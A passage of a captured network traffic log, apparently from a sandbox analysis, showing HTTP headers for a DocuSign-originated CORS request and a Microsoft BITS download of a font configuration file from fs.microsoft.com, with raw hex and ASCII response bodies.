"Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://na4.docusign.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://na4.docusign.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 16:02:25 UTC	530	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Origin: https://na4.docusign.net Access-Control-Expose-Headers: X-MP-CE-Backoff Access-Control-Max-Age: 1728000 Cache-Control: no-cache, no-store Content-Type: application/json Strict-Transport-Security: max-age=604800; includeSubDomains Date: Wed, 30 Oct 2024 16:02:25 GMT Content-Length: 1 Via: 1.1 google Alt-Svc: clear Connection: close
2024-10-30 16:02:25 UTC	1	IN	Data Raw: 31 Data Ascii: 1

Timestamp	Bytes transferred	Direction	Data
2024-10-30 16:02:25 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 16:02:25 UTC	534	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=25944 Date: Wed, 30 Oct 2024 16:02:25 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 16:02:25 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}